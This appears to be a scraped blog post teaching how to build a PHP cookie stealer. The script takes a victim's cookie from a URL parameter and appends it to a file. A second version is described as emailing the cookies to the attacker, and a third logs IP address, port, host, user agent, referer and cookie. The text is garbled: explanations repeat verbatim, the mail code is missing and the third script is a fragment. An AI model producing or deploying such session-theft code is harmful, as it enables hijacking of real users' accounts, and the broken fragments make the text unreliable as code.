How to create cookie stealer Coding in PHP?~ get via email
Here is the simple Cookie Stealer code:
Cookie stored in File:
$cookie = $HTTP_GET_VARS["cookie"]; steal the cookie from the current url(stealer.php?cookie=x)and store the cookies in $cookie variable.
$steal = fopen("cookiefile.txt", "a"); This open the cookiefile in append mode so that we can append the stolen cookie.
fwrite($steal, $cookie ."\\n"); This will store the stolen cookie inside the file.
fclose($steal); close the opened file.
Another version: Sends cookies to the hacker mail
The above code will mail the cookies to hacker mail using the PHP() mail function with subject "Stolen cookies".
Cookie stored in File:
$cookie = $HTTP_GET_VARS["cookie"]; steal the cookie from the current url(stealer.php?cookie=x)and store the cookies in $cookie variable.
$steal = fopen("cookiefile.txt", "a"); This open the cookiefile in append mode so that we can append the stolen cookie.
fwrite($steal, $cookie ."\\n"); This will store the stolen cookie inside the file.
fclose($steal); close the opened file.
Another version: Sends cookies to the hacker mail
The above code will mail the cookies to hacker mail using the PHP() mail function with subject "Stolen cookies".
Third Version
");The above Cookie stealer will store the following information:
else
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie \n\n");
fclose($log);
}
logData();
?>
- Ip address
- port number
- host(usually computer-name)
- user agent
- cookie
0 Response to "How to create cookie stealer Coding in PHP?~ get via email"
Post a Comment